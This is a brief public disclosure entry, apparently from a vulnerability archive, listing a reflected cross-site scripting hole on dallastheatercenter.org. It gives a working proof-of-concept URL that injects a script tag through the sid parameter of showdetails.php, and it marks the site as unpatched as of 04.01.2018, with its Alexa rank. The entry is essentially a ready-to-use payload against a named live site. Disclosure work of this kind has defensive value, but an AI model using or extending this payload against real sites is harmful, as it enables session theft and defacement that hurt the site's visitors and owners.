dallastheatercenter.org XSS vulnerability

Vulnerable URL: http://www.dallastheatercenter.org/showdetails.php?sid=49%22%3E%3Cscript%3Ealert0;%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 04.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1046671 VIP website...